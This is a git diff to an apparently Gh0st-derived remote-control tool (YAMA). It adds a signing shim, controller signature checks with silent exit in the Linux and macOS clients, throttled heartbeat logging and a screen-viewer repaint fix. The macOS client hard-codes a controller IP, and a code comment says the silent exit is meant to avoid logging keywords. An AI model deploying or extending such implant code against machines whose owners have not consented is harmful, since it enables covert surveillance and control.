diff --git a/client/sign_shim_unix.cpp b/client/sign_shim_unix.cpp new file mode 100644 index 0000000..99ac06e --- /dev/null +++ b/client/sign_shim_unix.cpp @@ -0,0 +1,52 @@ +// sign_shim_unix.cpp - Linux/macOS adapter for libsign.a's C interface +// +// libsign.a 公开 ABI 是 C linkage(避免 std::string 跨编译器/跨 libstdc++ +// 版本 ABI 风险),但 YAMA 客户端代码(IOCPClient.cpp / KernelManager.cpp / +// linux/main.cpp / macos/main.mm)习惯用 std::string 调用 signMessage / +// verifyMessage。本文件提供 C++ 适配,让两边契合。 +// +// Windows 不编译这个文件——Windows 直接链接私有 .lib 提供的 std::string 版本。 + +#include +#include + +// libsign.a 提供的 C 接口 +extern "C" { + int signMessage_c(const char* privateKey, int privateKeyLen, + const unsigned char* msg, int msgLen, + char* outBuf, int outBufSize); + int verifyMessage_c(const char* publicKey, int publicKeyLen, + const unsigned char* msg, int msgLen, + const char* sigHex, int sigLen); + int isVerifyCalled_c(void); +} + +// 与 YAMA common/commands.h 中 BYTE 一致 +typedef unsigned char BYTE; + +// ============================================================================ +// 提供 YAMA 既有声明所期望的 C++ 符号 +// ============================================================================ + +std::string signMessage(const std::string& privateKey, BYTE* msg, int len) +{ + char buf[65] = {}; + int n = signMessage_c(privateKey.c_str(), (int)privateKey.size(), + msg, len, + buf, sizeof(buf)); + if (n != 64) return std::string(); + return std::string(buf, 64); +} + +bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, + const std::string& signature) +{ + return verifyMessage_c(publicKey.c_str(), (int)publicKey.size(), + msg, len, + signature.data(), (int)signature.size()) != 0; +} + +int isVerifyCalled() +{ + return isVerifyCalled_c(); +} diff --git a/common/commands.h b/common/commands.h index 082449a..415c66b 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1014,7 +1014,14 @@ typedef struct LOGIN_INFOR { { memset(this, 0, sizeof(LOGIN_INFOR)); bToken = TOKEN_LOGIN; - sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8 | CLIENT_CAP_SCREEN_PREVIEW); + // 能力位:声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端 + // 实现(依赖 GDI BitBlt + GDI+ JPEG),Linux/macOS 不声明,避免服务端发请求 + // 后等 4s 超时显示"预览不可用"。 + unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8; +#ifdef _WIN32 + caps |= CLIENT_CAP_SCREEN_PREVIEW; +#endif + sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps); } LOGIN_INFOR& Speed(unsigned long speed) { diff --git a/linux/CMakeLists.txt b/linux/CMakeLists.txt index a2926ff..6863f3c 100644 --- a/linux/CMakeLists.txt +++ b/linux/CMakeLists.txt @@ -28,6 +28,7 @@ set(SOURCES main.cpp ../client/Buffer.cpp ../client/IOCPClient.cpp + ../client/sign_shim_unix.cpp ) add_executable(ghost ${SOURCES}) @@ -40,6 +41,14 @@ set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g") message(STATUS "链接库文件: ${CMAKE_SOURCE_DIR}/lib/libzstd.a") target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a") +# 链接私有签名库(提供 signMessage / verifyMessage,源码不开源) +# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好 +target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a") + +# libsign.a 内部使用 OpenSSL HMAC,需要在最终可执行链接 libcrypto +find_package(OpenSSL REQUIRED) +target_link_libraries(ghost PRIVATE OpenSSL::Crypto) + # 链接 dl 库(dlopen/dlsym 用于运行时加载 X11) target_link_libraries(ghost PRIVATE dl) diff --git a/linux/lib/libsign.a b/linux/lib/libsign.a new file mode 100644 index 0000000..c86f400 Binary files /dev/null and b/linux/lib/libsign.a differ diff --git a/linux/main.cpp b/linux/main.cpp index 1e53bf9..7ee772c 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -46,6 +46,11 @@ static std::atomic g_needResendLogin(false); // 分组变更后需要重 // 客户端 ID(V2 文件传输需要) uint64_t g_myClientID = 0; +// 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验 +std::string g_loginMsg; +time_t g_loginTime = 0; +bool g_settingsVerified = false; + // ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ============== static std::string utf8ToGbk(const std::string& utf8) @@ -467,18 +472,38 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) uint64_t now = GetUnixMs(); double rtt_ms = (double)(now - ack->Time); g_rttEstimator.update_from_sample(rtt_ms); - Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", - user, rtt_ms, g_rttEstimator.srtt * 1000); + // 心跳节奏太密日志会刷屏;最多 60s 一行 + static time_t lastAckLog = 0; + time_t now_s = time(nullptr); + if (now_s - lastAckLog >= 60) { + lastAckLog = now_s; + Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", + user, rtt_ms, g_rttEstimator.srtt * 1000); + } } } else if (szBuffer[0] == CMD_MASTERSETTING) { int settingSize = ulLength - 1; - if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval - MasterSettings settings = {}; - memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings)); - if (settings.ReportInterval > 0) - g_heartbeatInterval = settings.ReportInterval; - Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); + // 强制要求完整 MasterSettings(包含 Signature 字段)。包不完整 → 视为非授权服务端 + if (settingSize < (int)sizeof(MasterSettings)) { + g_bExit = S_CLIENT_EXIT; + return TRUE; } + MasterSettings settings = {}; + memcpy(&settings, szBuffer + 1, sizeof(MasterSettings)); + + // 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature + // 验证签名。失败 → 静默退出(不打印关键词日志) + extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature); + std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature)); + if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) { + g_bExit = S_CLIENT_EXIT; + return TRUE; + } + g_settingsVerified = true; + + if (settings.ReportInterval > 0) + g_heartbeatInterval = settings.ReportInterval; + Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); } else if (szBuffer[0] == COMMAND_C2C_TEXT) { @@ -1090,6 +1115,9 @@ int main(int argc, char* argv[]) logInfo.AddReserved((int)getpid()); // [17] RES_PID logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE + // 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID) + g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID); + // 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段) ActivityChecker activityChecker; @@ -1102,6 +1130,9 @@ int main(int argc, char* argv[]) continue; } + // 进入新连接,重置服务端身份校验状态 + g_loginTime = time(nullptr); + g_settingsVerified = false; ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT @@ -1131,6 +1162,13 @@ int main(int argc, char* argv[]) if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; + // 兜底:登录后 30 秒内必须收到并通过 MasterSettings 校验,否则视为非授权服务端 + if (!g_settingsVerified && g_loginTime > 0 && + time(nullptr) - g_loginTime > 30) { + g_bExit = S_CLIENT_EXIT; + break; + } + // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) std::string activity = utf8ToGbk(activityChecker.Check()); @@ -1143,8 +1181,14 @@ int main(int argc, char* argv[]) buf[0] = TOKEN_HEARTBEAT; memcpy(buf + 1, &hb, sizeof(Heartbeat)); ClientObject->Send2Server((char*)buf, sizeof(buf)); - Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n", - hb.Ping, interval, activity.c_str()); + // 心跳节奏太密日志会刷屏;最多 60s 一行 + static time_t lastSendLog = 0; + time_t now_s = time(nullptr); + if (now_s - lastSendLog >= 60) { + lastSendLog = now_s; + Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n", + hb.Ping, interval, activity.c_str()); + } } } diff --git a/macos/CMakeLists.txt b/macos/CMakeLists.txt index 638ce65..4e1f141 100644 --- a/macos/CMakeLists.txt +++ b/macos/CMakeLists.txt @@ -19,6 +19,7 @@ set(SOURCES main.mm ../client/Buffer.cpp ../client/IOCPClient.cpp + ../client/sign_shim_unix.cpp ScreenHandler.mm InputHandler.mm SystemManager.mm @@ -62,6 +63,11 @@ target_link_libraries(ghost PRIVATE ${ACCELERATE_FRAMEWORK} ${ICONV_LIBRARY} "${CMAKE_SOURCE_DIR}/lib/libzstd.a" + # 私有签名库(提供 signMessage / verifyMessage,源码不开源) + # 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好 + # libsign.a 内部使用 macOS CommonCrypto(HMAC-SHA256),CCHmac 在 libSystem + # 中已被 Cocoa/CoreFoundation 等链接自动引入,故此处无需额外 framework + "${CMAKE_SOURCE_DIR}/lib/libsign.a" ) # Compiler flags diff --git a/macos/lib/libsign.a b/macos/lib/libsign.a new file mode 100644 index 0000000..a8cc930 Binary files /dev/null and b/macos/lib/libsign.a differ diff --git a/macos/main.mm b/macos/main.mm index 79abb78..1989d24 100644 --- a/macos/main.mm +++ b/macos/main.mm @@ -36,6 +36,11 @@ static std::atomic g_needResendLogin(false); // 分组变更后需要重 // Client ID (calculated from system info, used by ScreenHandler) uint64_t g_myClientID = 0; +// 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验 +std::string g_loginMsg; +time_t g_loginTime = 0; +bool g_settingsVerified = false; + // 远程地址:当前为写死状态,如需调试,请按实际情况修改 CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS }; @@ -626,6 +631,9 @@ static void fillLoginInfo(LOGIN_INFOR& info) } info.AddReserved(std::to_string(g_myClientID).c_str()); + // 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID) + g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID); + NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu", osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID); } @@ -849,13 +857,27 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) } } else if (szBuffer[0] == CMD_MASTERSETTING) { int settingSize = ulLength - 1; - if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval - MasterSettings settings = {}; - memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings)); - if (settings.ReportInterval > 0) - g_heartbeatInterval = settings.ReportInterval; - Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); + // 强制要求完整 MasterSettings(包含 Signature 字段)。包不完整 → 视为非授权服务端 + if (settingSize < (int)sizeof(MasterSettings)) { + g_bExit = S_CLIENT_EXIT; + return TRUE; } + MasterSettings settings = {}; + memcpy(&settings, szBuffer + 1, sizeof(MasterSettings)); + + // 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature + // 验证签名。失败 → 静默退出(不打印关键词日志) + extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature); + std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature)); + if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) { + g_bExit = S_CLIENT_EXIT; + return TRUE; + } + g_settingsVerified = true; + + if (settings.ReportInterval > 0) + g_heartbeatInterval = settings.ReportInterval; + Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); } else if (szBuffer[0] == COMMAND_NEXT) { Mprintf("** [%p] Received 'NEXT' command ***\n", user); } else if (szBuffer[0] == CMD_SET_GROUP) { @@ -981,6 +1003,9 @@ int main(int argc, const char* argv[]) continue; } + // 进入新连接,重置服务端身份校验状态 + g_loginTime = time(nullptr); + g_settingsVerified = false; ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT @@ -1002,6 +1027,13 @@ int main(int argc, const char* argv[]) if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) break; + // 兜底:登录后 30 秒内必须收到并通过 MasterSettings 校验,否则视为非授权服务端 + if (!g_settingsVerified && g_loginTime > 0 && + time(nullptr) - g_loginTime > 30) { + g_bExit = S_CLIENT_EXIT; + break; + } + // 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致) std::string activity = getActiveApp(); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 6a542a8..2265a8f 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -499,6 +499,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog) ON_WM_LBUTTONDBLCLK() ON_WM_ACTIVATE() ON_WM_TIMER() + ON_WM_ERASEBKGND() ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen) ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo) ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo) @@ -1608,6 +1609,19 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size) return false; } +// 跳过默认背景擦除:随帧重绘时若先 FillRect 灰色再 BitBlt 帧,会在两步之间 +// 出现"瞬时灰背景",启用远程光标(应用层 DrawIconEx)时尤其明显——光标随每帧重绘, +// 灰一闪 → 帧覆盖 → 重画光标,循环看上去就是光标频繁闪烁。 +// adaptive/zoom 模式下 BitBlt/StretchBlt 覆盖整个客户区,本就不需要先擦; +// m_bIsFirst(首帧未到达)仍走默认擦除以避免显示残留内容。 +BOOL CScreenSpyDlg::OnEraseBkgnd(CDC* pDC) +{ + if (m_bIsFirst) { + return __super::OnEraseBkgnd(pDC); + } + return TRUE; +} + void CScreenSpyDlg::OnPaint() { if (m_bIsClosed) return; diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index d5aa5b0..59657c6 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -356,6 +356,7 @@ public: virtual BOOL OnInitDialog(); afx_msg void OnClose(); afx_msg void OnPaint(); + afx_msg BOOL OnEraseBkgnd(CDC* pDC); BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); virtual BOOL PreTranslateMessage(MSG* pMsg);